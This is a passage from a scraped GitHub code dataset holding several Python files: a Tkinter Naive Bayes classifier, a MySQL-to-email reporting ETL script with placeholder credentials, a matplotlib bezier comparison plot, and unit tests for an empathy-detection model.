maxProb = prob\n                classification = classVal\n        return classification\n\n#The function get the classification for the test\n    def getClassification(self,model):\n        classification = []\n        for index, row in self.test.iterrows():\n            probByVal = {}\n            for classValue in self.structLables[\"class\"]: #for on each class\n                listProb  = []\n                for category, value in self.structDic.iteritems():\n                    if category ==\"class\":\n                         continue\n                    attribute = row[category]\n                    prob = self.getProb(model,category,attribute,classValue)\n                    listProb.append(prob)\n                probClassVal = self.getMult(listProb)\n                probByVal[classValue] = probClassVal\n            classificationRow = self.getClassificationRow(probByVal)\n            classification.append(classificationRow)\n        return classification\n\n#The function classify the test by the model\n    def classify(self, test, structIntervals, structDic, structLables, dirpath,model):\n        self.test = test\n        self.structIntervals = structIntervals\n        self.structDic = structDic\n        self.structLables = structLables\n        self.Discretization()\n        classification = self.getClassification(model)\n        self.writeToFile(dirpath,classification)\n        accurancy = metrics.accuracy_score(classification,test[\"class\"])\n        # print \"Accuracy : %s\" % \"{0:.3%}\".format(accurancy)\n        tkMessageBox.showinfo(\"Naive Bayes Classifier\", \"classify is done!\")\n        exit()\n\n\nclass NaiveBayes:\n    analyser = Analyser()\n    classifier = Classifier()\n    model = None\n\n#The function give the user the search for the path\n    def browse(self):\n        dir = tkFileDialog.askdirectory()\n        self.var.set(dir)\n\n#The function load csv file\n    def load_csv(self, filename):\n        try:\n            df = pd.read_csv(filename)\n            return df\n        except:\n            tkMessageBox.showerror(\"Naive Bayes Classifier\", \"the path \" + filename + \" is not exist\")\n\n#The function load text file\n    def load_txt(self, filename):\n        try:\n            d = {}\n            with open(filename) as f:\n                content = f.read().splitlines()\n                for line in content:\n                    arr = line.split(' ')\n                    key = arr[1]\n                    value = arr[2]\n                    d[key] = value\n            return d\n        except:\n            tkMessageBox.showerror(\"Naive Bayes Classifier\", \"the path \" + filename + \" is not exist\") #print if the file is not exist\n\n#The function build the model\n    def build(self):\n        dirPath = self.var.get()\n        filename = dirPath + \"\\\\Structure.txt\"\n        sructureDic = self.load_txt(filename)\n        filename = dirPath + \"\\\\train.csv\"\n        train = self.load_csv(filename)\n        numOfBins = int(self.varBins.get())\n        self.model = self.analyser.buildModel(sructureDic, train, numOfBins)\n        tkMessageBox.showinfo(\"Naive Bayes Classifier\", \"Building classifier using train-set is done!\")\n\n#The function classify the test by the model\n    def classify(self):\n        dirPath = self.var.get()\n        filename = dirPath + \"\\\\test.csv\"\n        test = self.load_csv(filename)\n        structIntervals = self.analyser.struct\n        structDic = self.analyser.sructureDic\n        structLabes = self.analyser.initDictionaryStruct\n        self.classifier.classify(test, structIntervals, structDic, structLabes, dirPath,self.model)\n\n#The function init the gui\n    def __init__(self, master):\n        self.master = master\n        self.master.title(\"Naive Bayes Classifier\")\n        self.labelDir = Label(master, text=\"Directory Path\")\n        self.labelDisc = Label(text=\"Discretization Bins:\")\n        self.var = StringVar()\n        dirname = Entry(master, textvariable=self.var)\n        self.varBins = StringVar()\n        bins = Entry(master, textvariable=self.varBins)\n        self.browse_button = Button(master, text=\"Browse\", command=lambda: self.browse()) #button browse\n        self.build_button = Button(master, text=\"Build\", command=lambda: self.build()) #button build\n        self.classify_button = Button(master, text=\"Classify\", command=lambda: self.classify())\n        self.labelDir.grid(row=0, column=0, sticky=W)\n        self.labelDisc.grid(row=1, column=0, sticky=E)\n        dirname.grid(row=0, column=1, columnspan=2, sticky=W + E)\n        bins.grid(row=1, column=1, columnspan=2, sticky=W + E)\n        self.browse_button.grid(row=0, column=3)\n        self.build_button.grid(row=2, column=1)\n        self.classify_button.grid(row=3, column=1)\n\n\nroot = Tk()\nmy_gui = NaiveBayes(root)\nroot.mainloop()", "repo_name": "azranmo/Data-Mining-Python", "sub_path": "naive/naiveBayes.py", "file_name": "naiveBayes.py", "file_ext": "py", "file_size_in_byte": 11204, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "scipy.stats.mode", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 57, "usage_type": "call"}, {"api_name": "tkMessageBox.showerror", "line_number": 73, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 145, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 209, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 209, "usage_type": "name"}, {"api_name": "tkMessageBox.showinfo", "line_number": 211, "usage_type": "call"}, {"api_name": "tkFileDialog.askdirectory", "line_number": 222, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 228, "usage_type": "call"}, {"api_name": "tkMessageBox.showerror", "line_number": 231, "usage_type": "call"}, {"api_name": "tkMessageBox.showerror", "line_number": 246, "usage_type": "call"}, {"api_name": "tkMessageBox.showinfo", "line_number": 257, "usage_type": "call"}]}
{"seq_id": "41906984662", "text": "# -*- coding: utf-8 -*-\r\nfrom lib import SQLAlchemy\r\nfrom lib import Email_SMTP\r\nfrom email.header import Header\r\nimport pandas as pd\r\nimport numpy as np\r\nimport os\r\n\r\n\r\n# ---------------------------------------------------------------------------------------------------- #\r\n# Import Data and Function\r\n# ---------------------------------------------------------------------------------------------------- #\r\n# Function - Database\r\nsqlalchemy = SQLAlchemy(Database_Type='mysql',\r\n                        User='###your username###',\r\n                        Pwd='###your password###',\r\n                        Host='###your host###',\r\n                        Port='###your port###',\r\n                        Database='###your database name###')\r\n\r\n# Function - Database\r\nemail_smtp = Email_SMTP(Host='smtp.gmail.com',\r\n                        Port=465,\r\n                        User='###your sender email###',\r\n                        Pwd='###your password###')\r\n\r\n# df_tt_sku_sample\r\ndf_tt_sku = pd.read_csv('./df_tt_sku_sample.csv')\r\nquantity_Sum = df_tt_sku['quantity'].sum()\r\n\r\n\r\n# ---------------------------------------------------------------------------------------------------- #\r\n# 建構資料庫連線，取出資料計算\r\n# 計算結果存回資料庫\r\n# ---------------------------------------------------------------------------------------------------- #\r\nsqlengine = sqlalchemy.create_engine()\r\n\r\n# Get data from database\r\nsql = \"\"\"\r\n    SELECT tt.sku, tt.quantity, tt.created_date,\r\n            sh.Type, sh.product,\r\n            br.brand,\r\n            md.model,\r\n            st.sku_tail\r\n\r\n    FROM tt_sku AS tt\r\n    LEFT JOIN sku_head AS sh\r\n    ON tt.sku_head=sh.id\r\n\r\n    LEFT JOIN brand AS br\r\n    ON tt.brand_id=br.id\r\n\r\n    LEFT JOIN model AS md\r\n    ON tt.model_id=md.id\r\n\r\n    LEFT JOIN sku_tail AS st\r\n    ON tt.sku_tail_id=st.id\r\n\"\"\"\r\n\r\ndf_tt_sku_db = pd.read_sql_query(sql, sqlengine)\r\nassert quantity_Sum == df_tt_sku_db['quantity'].sum(\r\n), '[WARNING] Total quantity is different between origin file and database.'\r\n\r\n# Group by brand\r\ndf_cal_brand = df_tt_sku_db.groupby(\r\n    by=['brand']).sum().groupby(level=[0]).cumsum()\r\ndf_cal_brand['brand'] = df_cal_brand.index\r\n\r\nassert quantity_Sum == df_cal_brand['quantity'].sum(\r\n), '[WARNING] Total quantity is different between origin file and quantity report(by brand).'\r\nfilename_brand = os.path.abspath('./quantity report_by brand.csv')\r\ndf_cal_brand['quantity'].to_csv(filename_brand,\r\n                                index=True, encoding='ANSI')\r\n\r\n# Group by created_date\r\ndf_cal_created_date = df_tt_sku_db.groupby(\r\n    by=['created_date']).sum().groupby(level=[0]).cumsum()\r\ndf_cal_created_date['created_date'] = df_cal_created_date.index\r\n\r\nassert quantity_Sum == df_cal_created_date['quantity'].sum(\r\n), '[WARNING] Total quantity is different between origin file and quantity report(by created_date).'\r\nfilename_created_date = os.path.abspath(\r\n    './quantity report_by created_date.csv')\r\ndf_cal_created_date['quantity'].to_csv(filename_created_date,\r\n                                       index=True, encoding='ANSI')\r\n\r\n# Group by sku_tail & brand & Type & product & model & sku & created_date\r\ndf_cal_multi = pd.pivot_table(df_tt_sku_db, index=['sku_tail', 'brand', 'Type', 'product', 'model', 'sku', 'created_date'], values=[\r\n    'quantity'], aggfunc={'quantity': np.sum}, margins=True)\r\n\r\nassert quantity_Sum == (df_cal_multi['quantity'].sum(\r\n))/2, '[WARNING] Total quantity is different between origin file and quantity report(by multiple key).'\r\nfilename_multi = os.path.abspath(\r\n    './quantity report_by sku_tail & brand & Type & product & model & sku & created_date.csv')\r\ndf_cal_multi.to_csv(filename_multi,\r\n                    index=True, encoding='ANSI')\r\n\r\n# Write records stored in a DataFrame to a SQL database\r\ntry:\r\n    df_cal_brand.to_sql(name='sales_quantity_by_brand',\r\n                        con=sqlengine,\r\n                        index=False,\r\n                        if_exists='append')\r\n\r\n    df_cal_created_date.to_sql(name='sales_quantity_by_created_date',\r\n                               con=sqlengine,\r\n                               index=False,\r\n                               if_exists='append')\r\n\r\n    print('Write data to DB Done!!!')\r\n\r\nexcept Exception as Ex:\r\n    print('[EXCEPTION] {}'.format(Ex))\r\n\r\n\r\n# ---------------------------------------------------------------------------------------------------- #\r\n# 自動寄送計算結果報表\r\n# ---------------------------------------------------------------------------------------------------- #\r\nemail_content = \"\"\"\r\n                        \r\n                            \r\n                        \r\n                        \r\n                            
\r\n                                
Hello,
\r\n                                
 
\r\n                                
Attachments are Quantity Reports grouping by 
\r\n                                
    \r\n                                　
  • brand
    • \r\n                                　
  • created_date
    • \r\n                                　
  • sku_tail & brand & Type & product & model & sku & created_date
    • \r\n                                
\r\n                                
Should you have any questions, please feel free to contact me.
\r\n                                
Thank you.
\r\n                                
 
\r\n                                
Best Regards
\r\n                            
 \r\n                            
--
\r\n                            \r\n                        \r\n            \"\"\"\r\n\r\nemail_smtp.Send(send_subject=Header('[Report] Quantity Reports', 'utf-8'),\r\n                send_from='###your sender email###',\r\n                send_to=['###your receiver email###'],\r\n                send_cc=[''],\r\n                send_bcc=[''],\r\n                send_atta=[filename_brand,\r\n                           filename_created_date, filename_multi],\r\n                send_body=email_content)\r\n", "repo_name": "doubleW1985/ETL-with-Python-and-MySQL-Docker-", "sub_path": "4_ETL & Read from DB.py", "file_name": "4_ETL & Read from DB.py", "file_ext": "py", "file_size_in_byte": 6410, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "lib.SQLAlchemy", "line_number": 14, "usage_type": "call"}, {"api_name": "lib.Email_SMTP", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.read_sql_query", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pandas.pivot_table", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "email.header.Header", "line_number": 143, "usage_type": "call"}]}
{"seq_id": "26428100579", "text": "import pickle\nimport matplotlib.pyplot as pyplot\nimport seaborn\nfrom matplotlib.path import Path\nimport matplotlib.patches as patches\nfrom random import shuffle\nfrom random import randrange\nfrom matplotlib import gridspec\nimport pandas\n\n\ndef get_verts( origin, target, test=False ):\n    origin = float( origin )\n    target = float( target )\n    if test:\n        return  [\n            ( 0.0, origin ), # MOVETO\n            ( 0.3, origin ), # LINETO\n            ( 0.4, origin ), # CURVE3\n            ( 0.5, origin + (target-origin)/2 ), # MOVETO\n            ( 0.6, target ), # CURVE3\n            ( 0.7, target ), # LINETO\n            ( 1.0, target )  # LINETO\n        ]\n    else:\n        return  [\n            ( 0.0, origin ), # MOVETO\n            ( 0.1, origin ), # LINETO\n            ( 0.2, origin ), # CURVE3\n            ( 0.5, origin + (target-origin)/2 ), # MOVETO\n            ( 0.8, target ), # CURVE3\n            ( 0.9, target ), # LINETO\n            ( 1.0, target )  # LINETO\n        ]\n\n\ndef plot_ml_vs_idx( save_output=True, test=False ):\n\n    with open( 'results/tmp-datafram-b.pickle', 'rb' ) as pickle_file:\n         data_frame = pickle.load( pickle_file )\n\n    # We want to create a graph that contains a comparison of predictions\n    # by machine learning (ml) and ik-index. Two outer 'panes' will have\n    # the same comparison of ml prediction vs ik-index but in different orders,\n    # one sorted by ml prediction and one sorted by ik-index.\n    # The middle pane will hold the text labels, twice in those different orders.\n    # bezier curves will connect the labels with the same text names.\n\n    # The actual labels, data, and colors for the left pane (0)\n    # and the right pane (2) that we'll be working with\n    data_frame[ 'bezier_index' ] = range( len( data_frame ) )\n    data_frame2 = data_frame.sort_values( [ 'ik-index' ], ascending=False )\n    X = data_frame.index.values\n    Y_ik_index = data_frame[ 'ik-index' ]\n    Y_ml_index = data_frame[ 'ml-index' ]\n    ik_color = data_frame[ 'ik-color' ]\n    ml_color = data_frame[ 'ml-color' ]\n    X2 = data_frame2.index.values\n    Y_ik_index2 = data_frame2[ 'ik-index' ]\n    Y_ml_index2 = data_frame2[ 'ml-index' ]\n    ik_color2 = data_frame2[ 'ik-color' ]\n    ml_color2 = data_frame2[ 'ml-color' ]\n    if test:\n        X = X[300:330]\n        Y_ik_index = Y_ik_index[300:330]\n        Y_ml_index = Y_ml_index[300:330]\n        ik_color = data_frame[ 'ik-color' ][300:330]\n        ml_color = data_frame[ 'ml-color' ][300:330]\n        X2 = X.copy()\n        Y_ik_index2 = Y_ik_index.copy()\n        Y_ml_index2 = Y_ml_index.copy()\n        ik_color2 = ik_color.copy()\n        ml_color2 = ml_color.copy()\n        shuffle( Y_ik_index2 )\n        shuffle( Y_ml_index2 )\n        shuffle( ik_color2 )\n        shuffle( ml_color2 )\n\n    # Accept some pretty styling out of the box\n    seaborn.set()\n    seaborn.set_palette( seaborn.color_palette( 'coolwarm' ) )\n\n    # Create the figure as a whole, set dimensions\n    fig_height = 500\n    fig_width = 100\n    ratios = [ 0.2, 0.6, 0.2 ]\n    if test:\n        fig_height = 10\n        fig_width = 40\n        ratios = [ 0.3, 0.4, 0.3 ]\n    figure = pyplot.figure( figsize=( fig_width, fig_height ) )\n\n    # Set up a grid, we want a wider middle 'pane' to display the text labels\n    # and the bezier connectors\n    grid_spec = gridspec.GridSpec( 1, 3, width_ratios=ratios )\n\n    # We don't need space between the subplots\n    pyplot.subplots_adjust( wspace=0 )\n\n    # # These are just temporary aids to see if suboplots align exactly\n    # pyplot.rcParams[\"axes.edgecolor\"] = '0.15'\n    # pyplot.rcParams[\"axes.linewidth\"] = 1.25\n\n    # a1 is the middle pane with text labels and connectors\n    a1 = pyplot.subplot( grid_spec[1] )\n    # we hadrly need a gridded background or color for the middle pane,\n    # but still a hint of color is nice, so…\n    a1.patch.set_alpha( 0.4 )\n    a1.barh( X, [0] * len( X ), color=data_frame['ik-color'], height=0.5 )\n    a1.set_xlim( left=0.0, right=1.0 )\n    if not test:\n        a1.set_ylim( bottom=-1.0, top=1002 )\n    # we need no ticks, major or minor, nor labels in the mid pane\n    a1.tick_params( axis='x', which='both', bottom=False, labelbottom=False )\n\n    # Add in Bezier magics\n    origins = data_frame[ 'bezier_index' ].tolist()\n    targets = data_frame2[ 'bezier_index' ].tolist()\n    codes = [\n        Path.MOVETO,\n        Path.LINETO,\n        Path.CURVE3,\n        Path.MOVETO,\n        Path.CURVE3,\n        Path.LINETO,\n        Path.LINETO\n    ]\n    if test:\n        origins = list( range( 30 ) )\n        targets = list( range( 30 ) )\n        # a bit of shifting to create interesting beziers\n        for i in range(10):\n            targets.append( targets.pop( randrange(30) ) )\n            beziers = list( zip( origins, targets ) )\n        for bezier in beziers:\n            path = Path( get_verts( bezier[0], bezier[1], test ), codes )\n            patch = patches.PathPatch( path, facecolor='none', lw=14, edgecolor='midnightblue', alpha=0.1 )\n            a1.add_patch( patch )\n    else:\n        for origin in origins:\n            target = targets.index( origin )\n            path = Path( get_verts( origin, target ), codes )\n            patch = patches.PathPatch( path, facecolor='none', lw=2, edgecolor='midnightblue', alpha=0.2 )\n            a1.add_patch( patch )\n\n\n    # a0 is the left pane\n    a0 = pyplot.subplot( grid_spec[0] )\n    # make sure this thing is printed on top of the bezier connectors stuff\n    a0.set_zorder( 100 )\n    a0.barh( X, Y_ik_index, color=ik_color, height=0.5 )\n    a0.barh( X, -Y_ml_index, color=ml_color, height=0.5 )\n    # a0.tick_params( labelleft=False )\n    # Make the x axis show ticks from 1.0 to 0.0 to 1.0\n    # (for the mirrored hbar chart).\n    a0.set_xlim( right=1.05, left=-1.05 )\n    if not test:\n        a0.set_ylim( bottom=-1.0, top=1002 )\n    ticks = a0.get_xticks()\n    a0.set_xticklabels( [ abs( tick ) for tick in ticks ] )\n    # We have to mess around with labels here, as they need to be on the (non\n    # default) right side..\n    a0.yaxis.set_label_position( 'right' )\n    a0.yaxis.tick_right()\n    a0.tick_params( axis='y', which='both', right=False )\n    a0.axvline( 0, linewidth=1, color='darkorchid' )\n\n    # a2 is the right pane\n    a2 = pyplot.subplot( grid_spec[2] )\n    # make sure this thing is printed on top of the bezier connectors stuff\n    a2.set_zorder( 101 )\n    a2.barh( X2, -Y_ik_index2, color=ik_color2, height=0.5 )\n    a2.barh( X2, Y_ml_index2, color=ml_color2, height=0.5 )\n    # axes.set_ylim( bottom=-1.0, top=1002 )\n    # Make the x axis show ticks from 1.0 to 0.0 to 1.0\n    # (for th mirrored hbar chart).\n    a2.set_xlim( right=1.05, left=-1.05 )\n    if not test:\n        a2.set_ylim( bottom=-1.0, top=1002 )\n    ticks = a2.get_xticks()\n    a2.set_xticklabels( [ abs( tick ) for tick in ticks ] )\n    a2.axvline( 0, linewidth=1, color='darkorchid' )\n    # We don't have to mess around with labels here, as it comes with the right\n    # labels and positioning on the left out of the box (obviously).\n\n    pyplot.figure(1).savefig( 'results/ml_vs_index_spike.png', dpi=95, bbox_inches='tight' )\n    # pyplot.show()\n\n# main\n\nplot_ml_vs_idx( save_output=False, test=True )\n", "repo_name": "jorisvanzundert/riddle_ikindex", "sub_path": "src/ik_index_mplot/ml_vs_index_plot_full.py", "file_name": "ml_vs_index_plot_full.py", "file_ext": "py", "file_size_in_byte": 7211, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pickle.load", "line_number": 40, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 74, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 75, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 76, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 77, "usage_type": "call"}, {"api_name": "seaborn.set", "line_number": 80, "usage_type": "call"}, {"api_name": "seaborn.set_palette", "line_number": 81, "usage_type": "call"}, {"api_name": "seaborn.color_palette", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.gridspec.GridSpec", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.gridspec", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.path.Path.MOVETO", "line_number": 120, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.path.Path.LINETO", "line_number": 121, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.path.Path.CURVE3", "line_number": 122, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.path.Path.MOVETO", "line_number": 123, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.path.Path.CURVE3", "line_number": 124, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.path.Path.LINETO", "line_number": 125, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.path.Path.LINETO", "line_number": 126, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 126, "usage_type": "name"}, {"api_name": "random.randrange", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.path.Path", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.patches.PathPatch", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.path.Path", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.patches.PathPatch", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 186, "usage_type": "name"}]}
{"seq_id": "13601715119", "text": "import numpy as np\nfrom src.data_utils.data_loader import DataReaderUtility\nimport unittest\nimport pandas as pd\nimport torch\nfrom src.models.epitome import EPITOME\nfrom transformers import  AdamW\nfrom config import _EPS, _LR, _LAMBDA_EI, _LAMBDA_RE, _BATCH_SIZE, _max_tokenizer_len\nimport logging\nlogging.getLogger().setLevel(logging.INFO)\n\nif torch.cuda.is_available():\n    device = torch.device(\"cuda\")\nelse:\n    logging.info('No GPU! Sad Day!')\n    device = torch.device(\"cpu\")\n\nclass Test_Suite(unittest.TestCase):\n    \"\"\"Class for unit test\n    \"\"\"\n    @classmethod\n    def setUpClass(cls):\n        file_paths = [\"datasets/emotional-reactions-reddit.csv\", \"datasets/explorations-reddit.csv\", \"datasets/interpretations-reddit.csv\"]\n        cls.data = []\n        cls.out_paths = []\n\n        ### data loaders\n        for file_path in file_paths:\n            file_name = file_path.split(\"/\")[-1].split(\".\")[0]\n            out_path = \"TEST/data/\"+file_name+\"_model.csv\"\n            cls.out_paths.append(out_path)\n            DataReaderUtility().prepare_model_csv(file_path,out_path)\n            train, val, test = DataReaderUtility().prepare_inputs(data_path=out_path)\n            cls.data.append([train,val, test])\n\n        ### model\n        cls.model = EPITOME()\n        cls.model = cls.model.to(device)\n        for p in cls.model.seeker_encoder.parameters():\n            p.requires_grad = False\n\n\n        cls.optimizer = AdamW(cls.model.parameters(),lr = _LR, eps = _EPS)\n    \n    def test_data_loading(self):\n        \"\"\"Test for data splits check\n        \"\"\"\n        self.assertEqual(len(Test_Suite.data), 3)\n        for empathy_data in Test_Suite.data:\n            self.assertEqual(len(empathy_data), 3)\n    \n    def test_dimemsions(self):\n        \"\"\"Test for checking the dimensions of the pre-processed files.\n        \"\"\"\n        original_data = []\n        for file_path in Test_Suite.out_paths:\n            original_data.append(pd.read_csv(file_path))\n\n        for idx, empathy_data in enumerate(Test_Suite.data):\n            N = 0\n            for idx, split in enumerate(empathy_data):\n                n_batches = len(split)\n                n_rows_in_split = len(split.dataset)\n                N += n_rows_in_split\n\n                self.assertEqual(n_batches, np.ceil(n_rows_in_split/_BATCH_SIZE))\n\n                n_cols = len(split.dataset[0])\n                self.assertEqual(n_cols, 7)\n            self.assertEqual(N, original_data[idx].shape[0])\n\n    def test_dtype_sanity(self):\n        \"\"\"Test for data types of the processed files.\n        \"\"\"\n        for empathy_data in Test_Suite.data:\n            for split in empathy_data:\n                for row in split.dataset:\n                    self.assertEqual(row[0].shape[0], _max_tokenizer_len)\n                    self.assertEqual(row[0].dtype, torch.int64)\n                    self.assertEqual(row[1].shape[0], _max_tokenizer_len)\n                    self.assertEqual(row[1].dtype, torch.int64)\n                    self.assertEqual(row[2].shape[0], _max_tokenizer_len)\n                    self.assertEqual(row[2].dtype, torch.int64)\n                    self.assertEqual(row[3].shape[0], _max_tokenizer_len)\n                    self.assertEqual(row[3].dtype, torch.int64)\n                    self.assertEqual(row[4].numel(), 1)\n                    self.assertEqual(row[4].dtype, torch.int64)\n                    self.assertEqual(row[5].shape[0], _max_tokenizer_len)\n                    self.assertEqual(row[5].dtype, torch.int64)\n                    self.assertEqual(row[6].numel(), 1)\n                    self.assertEqual(row[6].dtype, torch.int64)\n\n\n    def test_training(self):\n        \"\"\"Test for checking the training. (Basically, checks if the model weights are getting updated after first iteration)\n        \"\"\"\n        Test_Suite.model.train()\n        Test_Suite.model.zero_grad()\n        row = Test_Suite.data[0][0].dataset[0:1]\n        loss, empathy_loss, rationale_loss, logits_empathy, logits_rationale = Test_Suite.model(seeker_input = row[0].to(device),\n                                                            responder_input = row[2].to(device), \n                                                            seeker_attn_mask=row[1].to(device),\n                                                            responder_attn_mask=row[3].to(device), \n                                                            class_label=row[4].to(device),\n                                                            rationale=row[5].to(device),\n                                                            len_rationale=None,\n                                                            lambda_EI=_LAMBDA_EI,\n                                                            lambda_RE=_LAMBDA_RE)\n\n        loss.backward()\n        Test_Suite.optimizer.step()\n\n        Test_Suite.model.zero_grad()\n        n_loss, n_empathy_loss, n_rationale_loss, n_logits_empathy, n_logits_rationale = Test_Suite.model(seeker_input = row[0].to(device),\n                                                            responder_input = row[2].to(device), \n                                                            seeker_attn_mask=row[1].to(device),\n                                                            responder_attn_mask=row[3].to(device), \n                                                            class_label=row[4].to(device),\n                                                            rationale=row[5].to(device),\n                                                            len_rationale=None,\n                                                            lambda_EI=_LAMBDA_EI,\n                                                            lambda_RE=_LAMBDA_RE)\n        \n        self.assertEqual(n_loss.item()!=0, True)\n        self.assertEqual(n_empathy_loss.item()!=0, True)\n        self.assertEqual(n_rationale_loss.item()!=0, True)\n        self.assertEqual((n_logits_empathy.cpu().detach().numpy() != logits_empathy.cpu().detach().numpy()).all(), True)\n        self.assertEqual((n_logits_rationale.cpu().detach().numpy() != logits_rationale.cpu().detach().numpy()).all(), True)\n\nif __name__ == \"__main__\":\n    Test_Suite.setUpClass()\n    logging.info(\"Data Loaded! Started Tests\")\n    Test_Suite().test_data_loading()\n    Test_Suite().test_dimemsions()\n    Test_Suite().test_dtype_sanity()\n    Test_Suite().test_training()\n    logging.info(\"All Tests Passed! :) \")", "repo_name": "prabhnoor0212/Empathy-in-Mental-Health-Support", "sub_path": "TEST/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 6416, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 16, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 18, "usage_type": "attribute"}, {"api_name": "src.data_utils.data_loader.DataReaderUtility", "line_number": 32, "usage_type": "call"}, {"api_name": "src.data_utils.data_loader.DataReaderUtility", "line_number": 33, "usage_type": "call"}, {"api_name": "src.models.epitome.EPITOME", "line_number": 37, "usage_type": "call"}, {"api_name": "transformers.AdamW", "line_number": 43, "usage_type": "call"}, {"api_name": "config._LR", "line_number": 43, "usage_type": "name"}, {"api_name": "config._EPS", "line_number": 43, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 66, "usage_type": "call"}, {"api_name": "config._BATCH_SIZE", "line_number": 66, "usage_type": "name"}, {"api_name": "config._max_tokenizer_len", "line_number": 78, "usage_type": "argument"}, {"api_name": "torch.int64", "line_number": 79, "usage_type": "attribute"}, {"api_name": "config._max_tokenizer_len", "line_number": 80, "usage_type": "argument"}, {"api_name": "torch.int64", "line_number": 81, "usage_type": "attribute"}, {"api_name": "config._max_tokenizer_len", "line_number": 82, "usage_type": "argument"}, {"api_name": "torch.int64", "line_number": 83, "usage_type": "attribute"}, {"api_name": "config._max_tokenizer_len", "line_number": 84, "usage_type": "argument"}, {"api_name": "torch.int64", "line_number": 85, "usage_type": "attribute"}, {"api_name": "torch.int64", "line_number": 87, "usage_type": "attribute"}, {"api_name": "config._max_tokenizer_len", "line_number": 88, "usage_type": "argument"}, {"api_name": "torch.int64", "line_number": 89, "usage_type": "attribute"}, {"api_name": "torch.int64", "line_number": 91, "usage_type": "attribute"}, {"api_name": "config._LAMBDA_EI", "line_number": 107, "usage_type": "name"}, {"api_name": "config._LAMBDA_RE", "line_number": 108, "usage_type": "name"}, {"api_name": "config._LAMBDA_EI", "line_number": 121, "usage_type": "name"}, {"api_name": "config._LAMBDA_RE", "line_number": 122, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 132, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 137, "usage_type": "call"}]}
